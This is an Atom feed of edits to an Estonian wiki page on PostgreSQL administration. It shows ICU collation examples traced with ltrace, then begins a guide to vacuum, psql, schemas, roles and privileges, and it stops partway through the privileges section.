 pg_catalog | af-x-icu               | icu      |            |            | af               |           | yes            | Afrikaans&lt;br /&gt;
 pg_catalog | agq-CM-x-icu           | icu      |            |            | agq-CM           |           | yes            | Aghem (Cameroon)&lt;br /&gt;
 pg_catalog | agq-x-icu              | icu      |            |            | agq              |           | yes            | Aghem&lt;br /&gt;
 pg_catalog | ak-GH-x-icu            | icu      |            |            | ak-GH            |           | yes            | Akan (Ghana)&lt;br /&gt;
 pg_catalog | ak-x-icu               | icu      |            |            | ak               |           | yes            | Akan&lt;br /&gt;
 pg_catalog | am-ET-x-icu            | icu      |            |            | am-ET            |           | yes            | Amharic (Ethiopia)&lt;br /&gt;
 pg_catalog | am-x-icu               | icu      |            |            | am               |           | yes            | Amharic&lt;br /&gt;
 pg_catalog | ar-001-x-icu           | icu      |            |            | ar-001           |           | yes            | Arabic (world)&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql&lt;br /&gt;
psql (17.9 (Debian 17.9-0+deb13u1))&lt;br /&gt;
Type &amp;quot;help&amp;quot; for help.&lt;br /&gt;
&lt;br /&gt;
postgres=# \l+&lt;br /&gt;
                                                                                       List of databases&lt;br /&gt;
   Name    |  Owner   | Encoding | Locale Provider |   Collate   |    Ctype    | Locale | ICU Rules |   Access privileges   |  Size   | Tablespace |                Description&lt;br /&gt;
-----------+----------+----------+-----------------+-------------+-------------+--------+-----------+-----------------------+---------+------------+--------------------------------------------&lt;br /&gt;
 postgres  | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           |                       | 894 MB  | pg_default | default administrative connection database&lt;br /&gt;
 template0 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7353 kB | pg_default | unmodifiable empty database&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
 template1 | postgres | UTF8     | libc            | en_US.UTF-8 | en_US.UTF-8 |        |           | =c/postgres          +| 7425 kB | pg_default | default template for new databases&lt;br /&gt;
           |          |          |                 |             |             |        |           | postgres=CTc/postgres |         |            |&lt;br /&gt;
(3 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuemal ajal seadistustes puuduvad lc_ctype ja lc_collate (alatest v. 16)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres@ph-minio-01:~$ psql -c &amp;quot;SHOW ALL&amp;quot; | grep lc_&lt;br /&gt;
 lc_messages                                 | en_US.UTF-8                             | Sets the language in which messages are displayed.&lt;br /&gt;
 lc_monetary                                 | en_US.UTF-8                             | Sets the locale for formatting monetary amounts.&lt;br /&gt;
 lc_numeric                                  | en_US.UTF-8                             | Sets the locale for formatting numbers.&lt;br /&gt;
 lc_time                                     | en_US.UTF-8                             | Sets the locale for formatting date and time values.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Järjestused, 'locale provider = icu' ja 'icu locale = und' 'create database' moodustamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# CREATE DATABASE db_imretest_02&lt;br /&gt;
    WITH&lt;br /&gt;
    LOCALE_PROVIDER = 'icu'&lt;br /&gt;
    ICU_LOCALE = 'und'  -- The universal Unicode Root Locale!&lt;br /&gt;
    TEMPLATE = template0;&lt;br /&gt;
CREATE DATABASE&lt;br /&gt;
#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
postgresql icu extension kasutamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# create extension icu_ext;&lt;br /&gt;
CREATE EXTENSION&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_number_spellout(1250.50, 'et');&lt;br /&gt;
           icu_number_spellout&lt;br /&gt;
------------------------------------------&lt;br /&gt;
 üks tuhat kakssada viiskümmend koma viis&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT icu_format_datetime(now(), '{full}', 'et');&lt;br /&gt;
                     icu_format_datetime&lt;br /&gt;
-------------------------------------------------------------&lt;br /&gt;
 pühapäev, 14. juuni 2026, kell 14:52:41 Ida-Euroopa suveaeg&lt;br /&gt;
(1 row)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tabeliga järjestusega töötamine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
db_imretest_02=# CREATE TABLE users (&lt;br /&gt;
    id SERIAL PRIMARY KEY,&lt;br /&gt;
    username VARCHAR(100) NOT NULL&lt;br /&gt;
);&lt;br /&gt;
CREATE TABLE&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# INSERT INTO users (username) VALUES&lt;br /&gt;
('Zernask'),&lt;br /&gt;
('Škerin'),&lt;br /&gt;
('Smirnov'),&lt;br /&gt;
('Sébastien'),&lt;br /&gt;
('Sebastien'),&lt;br /&gt;
('Müller'),&lt;br /&gt;
('Muller');&lt;br /&gt;
INSERT 0 7&lt;br /&gt;
db_imretest_02=#&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;et-EE-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Škerin&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# SELECT username FROM users ORDER BY username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;;&lt;br /&gt;
 username&lt;br /&gt;
-----------&lt;br /&gt;
 Muller&lt;br /&gt;
 Müller&lt;br /&gt;
 Sebastien&lt;br /&gt;
 Sébastien&lt;br /&gt;
 Škerin&lt;br /&gt;
 Smirnov&lt;br /&gt;
 Zernask&lt;br /&gt;
(7 rows)&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_universal ON users (username);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_estonian ON users (username COLLATE &amp;quot;et-EE-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
db_imretest_02=# CREATE INDEX idx_users_french ON users (username COLLATE &amp;quot;fr-FR-x-icu&amp;quot;);&lt;br /&gt;
CREATE INDEX&lt;br /&gt;
&lt;br /&gt;
db_imretest_02=# \di&lt;br /&gt;
                    List of relations&lt;br /&gt;
 Schema |        Name         | Type  |  Owner   | Table&lt;br /&gt;
--------+---------------------+-------+----------+-------&lt;br /&gt;
 public | idx_users_estonian  | index | postgres | users&lt;br /&gt;
 public | idx_users_french    | index | postgres | users&lt;br /&gt;
 public | idx_users_universal | index | postgres | users&lt;br /&gt;
 public | users_pkey          | index | postgres | users&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
libc põhise ja icu põhise lahenduse function-library call esitamine, illustreerimaks kui päring mis esitatakse on default&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# SELECT username FROM users ORDER BY username;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7918 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_01 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7918 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;\305\240kerin&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 69&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;M\303\274ller&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;S\303\251bastien&amp;quot;) = -4&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;Muller&amp;quot;)        = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Sebastien&amp;quot;, &amp;quot;M\303\274ller&amp;quot;) = 2&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Muller&amp;quot;, &amp;quot;M\303\274ller&amp;quot;)    = -11&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;Smirnov&amp;quot;)         = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Zernask&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 1&lt;br /&gt;
[pid 7918] strcoll(&amp;quot;Smirnov&amp;quot;, &amp;quot;\305\240kerin&amp;quot;)   = 30&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~#&lt;br /&gt;
root@ph-minio-01:~# ps U postgres&lt;br /&gt;
    PID TTY      STAT   TIME COMMAND&lt;br /&gt;
    755 ?        Ss     0:00 /usr/lib/postgresql/17/bin/postgres -D /var/lib/postgresql/17/main -c config_file=/etc/postgresql/17/main/postgre&lt;br /&gt;
    818 ?        Ss     0:00 postgres: 17/main: checkpointer&lt;br /&gt;
    819 ?        Ss     0:02 postgres: 17/main: background writer&lt;br /&gt;
    852 ?        Ss     0:03 postgres: 17/main: walwriter&lt;br /&gt;
    853 ?        Ss     0:00 postgres: 17/main: autovacuum launcher&lt;br /&gt;
    854 ?        Ss     0:00 postgres: 17/main: logical replication launcher&lt;br /&gt;
   7704 pts/0    S      0:00 -bash&lt;br /&gt;
   7707 pts/0    S+     0:00 /usr/lib/postgresql/17/bin/psql&lt;br /&gt;
   7935 ?        Ss     0:00 postgres: 17/main: postgres db_imretest_02 [local] idle&lt;br /&gt;
&lt;br /&gt;
root@ph-minio-01:~# ltrace -f -p 7935 2&amp;gt;&amp;amp;1 | grep --line-buffered strcoll&lt;br /&gt;
[pid 7935] ucol_strcollUTF8_76(0x55c2fcb7aec0, 0x55c2fcc332a0, 0xffffffff, 0x55c2fcc336a8) = 0xffffffff&lt;br /&gt;
^C&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* libc põhisel juhtumil esitatakse mitu 'strcoll' library call'i&lt;br /&gt;
* icu põhisel juhtumil esitatakse üks 'ucol_strcollUTF8_76' library call (sisemiselt küll tehakse seal mitmeid call'isid)&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.postgresql.org/docs/current/collation.html&lt;br /&gt;
* https://icu.unicode.org/&lt;br /&gt;
* https://www.cybertec-postgresql.com/en/icu-collations-against-postgresql-data-corruption/&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:PostgreSQL]]&lt;br /&gt;
* [[:Nagiose kasutamine Debian Lenniga]]&lt;br /&gt;
* https://github.com/omniti-labs/pg_extractor&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4221</id>
		<title>PostgreSQL haldamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=PostgreSQL_haldamine&amp;diff=4221"/>
		<updated>2026-06-15T15:40:29Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Kasutamine */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasi haldamise eesmärgiks on tagada korrektselt tootav andmebaasiteenus, mida saavad kasutajad ja rakendused kasutada. PostgreSQL andmebaasi haldamine sisaldab sisaldab üldiselt selliseid tegevusi&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tarkvara paigaldamine süsteemi&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara veaparanduste rakendamine&lt;br /&gt;
* Süsteemi paigaldatud andmebaasi tarkvara versiooniuuenduste sooritamine&lt;br /&gt;
* Andmabaasile kasutajate ja rakenduse jaoks ligipääsude tegemine&lt;br /&gt;
* Andmebaasi vakumeerimine&lt;br /&gt;
* Andmebaasist või selle osadest arhiivifaili moodustamine ja sellise arhiivifaili kasutamine&lt;br /&gt;
* Andmebaasi varundamine ja taaste&lt;br /&gt;
* Andmebaasi tarkvara eemaldamine süsteemist&lt;br /&gt;
&lt;br /&gt;
Osa neist tegevustest on Kuutõrvajas käsitletetud eraldi tekstides.&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamise alla ei kuulu t andmebaasi kasutamisega seotud küsimused, kuigi tehniliselt võib saada kasutada samu instrumente nii kasutamise kui haldusprotseduuride soovitamiseks, nt programm psql.&lt;br /&gt;
&lt;br /&gt;
Lisaks haldusprotseduuride endile kirjeldatakse käesolevas tekstis ka nt PostgreSQL andmebaasi objektide hierariat ja privileegisüsteemi, samuti, kuidas saada vastuseid haldamise seisukohalt olulistele küsimustele, nt milline on tabeli või andmebaasi suurus MBaitides.&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
* commit kirjutab muudatuse wal logifaili&lt;br /&gt;
* checkpoint kirjutab muudatused andmefailidesse&lt;br /&gt;
&lt;br /&gt;
Vastaku ühe tabeli mingitele ridadele kolm 8k suurust page't base kataloogi all mingis failis; kui parasjagu baas nendega töötab, sh muudab, siis võiks nii öelda, et neist on olemas kolm eksemplari, kõik tõenäoliselt vähemalt mingitel hetkedel mingis osas erinevad üksteisest&lt;br /&gt;
&lt;br /&gt;
* base kataloogi alla nn data failides&lt;br /&gt;
* shared buffers mälus&lt;br /&gt;
* wal logi kataloogis failides&lt;br /&gt;
&lt;br /&gt;
Andmebaasi mootori üks vastutus seisneb selles, et ta oma dirty, commit, checkpoint jt vahenditega töötab andmetega ja sedasi, et mis iganes hetkel võib juhtuda crash, ikkagi pärast seda kõige hullem, mis juhtub, et keritakse mingi hulk muudatusi tagasi, kuid andmed on siiski kooskõlalised.&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* autovacuum - tabeli ridadega toimunud update ja delete muudatused tekitavad tabelisse 'füüsiliselt' uusi sissekandeid, mille olemasolu on seotud PostgreSQL MVCC süsteemiga, st kui sama reaga tegeles üks kasutaja ja ütles delete, ning samal ajal teine kasutaja luges seda, siis peab baas suutma neid mõlemat kasutust teenindada;   sellel põhjusel kogunevad ühest samast tabeli reast mitmed versioonid, autovacuum tegeleb vanade kasutute versioonide all oleva salvestusressursi uuesti kasutatavaks märkimisega; seejuurus autovacuum ei anna failisüsteemis mahtu tagasi v.a. siis kui tema vabastatavad read asuvad data failide lõpus&lt;br /&gt;
* vacuum full - tabel kopeeritakse sisuliselt ümber ja ruum vabastatakse; ümber kopeerimiseks on vaja sama palju ruumi kui nö mustas tabelis on (st mitte pole vaja lisaks ainult seda ruumi, mis on reaalselt kasutuses); vacuum full saab öelda create database kaupa ja ka tabeli kaupa; vacuum full haldab automaatselt ära indeksid, constraintid jms&lt;br /&gt;
&lt;br /&gt;
===Haldustarkvara===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi haldamiseks sobib kasutada nt selliseid programme&lt;br /&gt;
&lt;br /&gt;
* psql - nt sisaldub paketis postgresql-client-8.3&lt;br /&gt;
* PgAdmin3&lt;br /&gt;
&lt;br /&gt;
===psql utiliidi kasutamine===&lt;br /&gt;
&lt;br /&gt;
psql on andmebaasi interaktiivne terminaliprogramm, mida saab üldiselt kasutada nii andmebaasi pärigute esitamiseks kui haldusprotseduuridele iseloomulike tegevuste sooritamiseks. Järgnevas kirjeldatakse psql kasutamist aktsendiga haldusele.&lt;br /&gt;
&lt;br /&gt;
* Skeemi tabelite nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
ja koos suurustega lisada +&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \dt+ priiduskeem.*&lt;br /&gt;
&lt;br /&gt;
Väljundi faili salvestamiseks tuleb ette öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; \o /tmp/psql-valjund.txt&lt;br /&gt;
&lt;br /&gt;
===Andmebaasid===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi on kõigil PostgreSQL kasutajatel õigus ühenduda andmebaasiga, kusjuures sealt edasi andmebaasis sisalduvate objektide (skeemid, tabelid, vaated je) kasutamist piiratakse privileegidega. Kui andmebaas on ühe kasutaja oma ja skeem ning skeemis sisalduv teise kasutaja oma, siis esimene kasutaja ei pruugi saada teist skeemi kasutada vaatamata sellele, et ta on vastava andmebaasi omanik.&lt;br /&gt;
&lt;br /&gt;
===Skeemid===&lt;br /&gt;
&lt;br /&gt;
* Võimaldada mitmetele kasutajatel kasutada sama andmebaasi säilitades kasutajate privaatsuse.&lt;br /&gt;
* Korraldada andmebaasi objektid loogilistesse gruppidesse selleks, et andmebaas oleks paremini hallatav&lt;br /&gt;
* Erinevates skeemides saab kasutada samu objektide nimesid&lt;br /&gt;
&lt;br /&gt;
Skeemi moodustamiseks sobib öelda, tavaliselt tekitab nii süsteemi administraator oma kasutajatele skeeme&lt;br /&gt;
&lt;br /&gt;
 CREATE SCHEMA priiduskeem AUTHORIZATION priit;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* priiduskeem - tekitatava skeemi nimi&lt;br /&gt;
* priit - andmebaasi kasutaja (üldisemalt roll)&lt;br /&gt;
&lt;br /&gt;
Skeemide moodustamisel peab nimevalikul arvestama, et pg_ algusega nimede on reserveeritud kasutamiseks pg_catalog skeemis ning kuigi kasutajad saavad neid nimesid ka ise kasutada, kasutab andmebaas vaikimisi süsteemseid objekte kui sellise nimega pöörduda.&lt;br /&gt;
&lt;br /&gt;
Kui andmebaasiga töötades skeemi mitte näidata, siis vaikimisi toimub tegevus&lt;br /&gt;
&lt;br /&gt;
* kasutajanimelises skeemis&lt;br /&gt;
* kasutajanimelise skeemi puudumisel skeemis 'public'; see skeem moodustatakse andmebaasi loomisel automaatselt.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; show search_path;&lt;br /&gt;
   search_path   &lt;br /&gt;
 ----------------&lt;br /&gt;
  &amp;quot;$user&amp;quot;,public&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
Skeemirada töötab sarnaselt tabelile ka muude skeemis sisalduvate objektidega, nt funktsioonid.&lt;br /&gt;
&lt;br /&gt;
Skeemi suhtes on kasutajatel kahe sorti privileege&lt;br /&gt;
&lt;br /&gt;
* usage - skeemis sisalduvate objektide kasutamine&lt;br /&gt;
* create - skeemi objektide tekitamine&lt;br /&gt;
&lt;br /&gt;
Vaikimisi saavad kõik andmebaasi kasutajad töötada public skeemis, st seda kasutada ja sinna tekitada objekte.&lt;br /&gt;
&lt;br /&gt;
Alati sisaldub andmebaasis nö süsteemne skeem pg_catalog ja seda kasutatakse enne skeemirajalt objektide otsimist.&lt;br /&gt;
&lt;br /&gt;
public skeem on iseenesest tavaline skeem nagu iga teinega, nt võib selle vajadusel ka kustutada.&lt;br /&gt;
&lt;br /&gt;
Skeemiraja seadistamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 set search_path to skeeminimi1, skeeminimi2&lt;br /&gt;
&lt;br /&gt;
Skeemidele antud privileegide esitamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# \dn+&lt;br /&gt;
                                      List of schemas&lt;br /&gt;
         Name        |  Owner   |  Access privileges   |           Description            &lt;br /&gt;
 --------------------+----------+----------------------+----------------------------------&lt;br /&gt;
  information_schema | postgres | postgres=UC/postgres | &lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_catalog         | postgres | postgres=UC/postgres | system catalog schema&lt;br /&gt;
                                : =U/postgres            &lt;br /&gt;
  pg_toast           | postgres |                      | reserved schema for TOAST tables&lt;br /&gt;
  pg_toast_temp_1    | postgres |                      | &lt;br /&gt;
  public             | postgres | postgres=UC/postgres | standard public schema&lt;br /&gt;
                                : =U/postgres&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* public skeemi omanik on kasutaja postgres ja tal on selle skeemi suhtes usage ja create õigused&lt;br /&gt;
* kõigil teistel kasutajatel on public skeemi suhtes usage õigus; üldiselt võib öelda&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekt_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL privileegisüsteem===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL privileegisüsteem kontrollib, mida saavad erinevad kasutajad andmebaasis teha. Üldiselt on andmebaasi ligipääsule võimalik piiranguid seada kolmel tasemel&lt;br /&gt;
&lt;br /&gt;
* võrguühenduse tase - nt andmebaasi ees töötavas tulemüüris võrguühendusi src ipi aadressi täpsusega piirates&lt;br /&gt;
* pg_hba.conf failis&lt;br /&gt;
* andmebaasi sisemiste vahenditega&lt;br /&gt;
&lt;br /&gt;
Andmebaasi sisemiste vahenditega saab ligipääse piirata kõige täpsemalt kusjuures seadistatud ligipääse hoib andmebaas selleks ettenähtud andmebaasi tabelites.&lt;br /&gt;
&lt;br /&gt;
===Kasutajad ja grupid - rollid===&lt;br /&gt;
&lt;br /&gt;
Üldiselt öeldakse, et PostgreSQLi andmebaasi kasutajad tegutsevad andmebaasi kasutades mingites rollides&lt;br /&gt;
&lt;br /&gt;
* andmebaasi objektide, nt tablitele juures on kirjas, millise rolliga kasutaja saab kõnealuse objektida millist tegevust sooritada, nt tabelit sisu select käsuga lugeda&lt;br /&gt;
* andmebaasi sisselogimiseks on kasutajal vaja teada mõnda andmebaasis kirjeldatud LOGIN omadusega rolli ligipääse (sh parooli)&lt;br /&gt;
* rollid võivad moodustada hierarhiaid, mida võib praktiliselt ette kujutada grupikuuluvustena; praktiliselt tähendab see nt seda, et andmebaasis kirjeldatakse roll ja sellega seostatakse mingid ligipääsud erinevatele objektidele ning selleks, et konkreetsed sisselogivad kasutajad saaksid kõnealustele objektidega tegevusi sooritada määratakse nad kirjeldatud rolli nö pärijateks&lt;br /&gt;
&lt;br /&gt;
Rollid on kirjeldatud kogu andmeklustri ehk PostgreSQL installatsiooni eksemplari kohta, mitte iga andmebaasi kohta. Tuleb arvestada, et sama nö ühenduse sees saab kasutada ainult ühte andmebaasi, st nt ei saa sooritada päringut, mis tegelab erinevate baaside tabelitega.&lt;br /&gt;
&lt;br /&gt;
===Rollide moodustamine===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi paigaldamisel tekitatakse andmebaasi selle kasutaja nimeline LOGIN omadusega roll, millena andmebaas paigaldati, traditsiooniliselt on selle rolli nimeks 'postgres'.&lt;br /&gt;
&lt;br /&gt;
Group ehk mitte-LOGIN rolli moodustamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role kasutajad;&lt;br /&gt;
&lt;br /&gt;
ja rolli eemaldamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; drop role kasutajad;&lt;br /&gt;
&lt;br /&gt;
LOGIN rolli moodustamiseks sh parooli seadmiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; create role priit login password 'parool' NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi administraator saab muuta kõigi kasutajate paroole ja kasutaja saab muuta ise enda parooli öeldes&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with password 'uusparool';&lt;br /&gt;
&lt;br /&gt;
Ilmutatud kujul parooli esitamisel on selline puudus, et see võib jääda kuhugi alles, nt logisse või .psql_history faili. Alternatiiviks on arvutada selliselt kokku ühendatud parool + kasutajanimi md5 summa&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select md5('uusparoolpriit');&lt;br /&gt;
 &amp;quot;fdd04c2f594e548b77c66781c8f5a85a&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ning seejärel, nb! hash algusse on lisatud 'md5'&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; alter role priit with encrypted password 'md5fdd04c2f594e548b77c66781c8f5a85a';&lt;br /&gt;
&lt;br /&gt;
===Rollide kasutamine===&lt;br /&gt;
&lt;br /&gt;
Käesoleva rollinime küsimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select user;&lt;br /&gt;
&lt;br /&gt;
Uue rolli omandamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; set role uusrollinimi;&lt;br /&gt;
&lt;br /&gt;
Vaikerollile lülitumiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; reset role;&lt;br /&gt;
&lt;br /&gt;
Käesolevat rolli saab küsida&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; show role;&lt;br /&gt;
&lt;br /&gt;
Kasutajale st login rollile grupi rolliga seotud privileegide lisamiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; grant grupiroll to loginroll;&lt;br /&gt;
&lt;br /&gt;
===Rollidele andmebaasiobjektide kasutamise lubamine andmebaasi sisemise acl abil===&lt;br /&gt;
&lt;br /&gt;
Andmebaasi objektidel on privileegisüsteemi seisukohast kaks olulist omadust&lt;br /&gt;
&lt;br /&gt;
* objekti omanik (ingl. k. owner) - objekti moodustanud roll, kellel on objekti suhtes kõikvõimalikud õigused&lt;br /&gt;
* pääsunimekiri (ingl. k. access control list, ACL) - millised omanikud saavad kõnealuse objektida milliseid tegevusi sooritada&lt;br /&gt;
&lt;br /&gt;
====Tabel====&lt;br /&gt;
&lt;br /&gt;
Olgu andmebaasi administraator tekitanud kaks rolli priit ning mart ning moodustanud kummagi kasutaja jaoks andmebaasi nendenimelise skeemi. Sellises olukorras saavad mõlemad kasutajad oma skeemis toimetada kuid üksteise tabelitele sisule ligi ei pääse.&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; select * from priit.priidutabel;&lt;br /&gt;
 ERROR:  permission denied for schema priit&lt;br /&gt;
 LINE 1: select * from priit.priidutabel;&lt;br /&gt;
&lt;br /&gt;
Selleks, et kasutaja mart pääseks lugema kasutaja priit tabeli priit.priidutabel sisu peab priit kõnealusele tabelile andma kasutajale mart select pääsu&lt;br /&gt;
&lt;br /&gt;
 GRANT SELECT ON TABLE priit.priidutabel TO mart;&lt;br /&gt;
&lt;br /&gt;
Tabeli ligipääsude kohta saab küsida öeldes&lt;br /&gt;
&lt;br /&gt;
 test=&amp;gt; \z priit.priidutabel &lt;br /&gt;
                                Access privileges&lt;br /&gt;
  Schema |    Name     | Type  |  Access privileges  | Column access privileges &lt;br /&gt;
 --------+-------------+-------+---------------------+--------------------------&lt;br /&gt;
  priit  | priidutabel | table | priit=arwdDxt/priit | &lt;br /&gt;
                               : mart=r/priit          &lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* priit=arwdDxt/priit - tabel kuulub kasutajale priit ning tal on omanikuna kõik privileegid&lt;br /&gt;
* mart=r/priit - tabel kuulub kasutajale priit ning kasutajal mart on sellele r privileeg (select); üldiselt kehtib&lt;br /&gt;
&lt;br /&gt;
 kasutaja_kellele_privileeg_antakse=privileeg/kõnealuse_objekti_omaniku_nimi&lt;br /&gt;
&lt;br /&gt;
Tabelilt ligipääsu eemaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
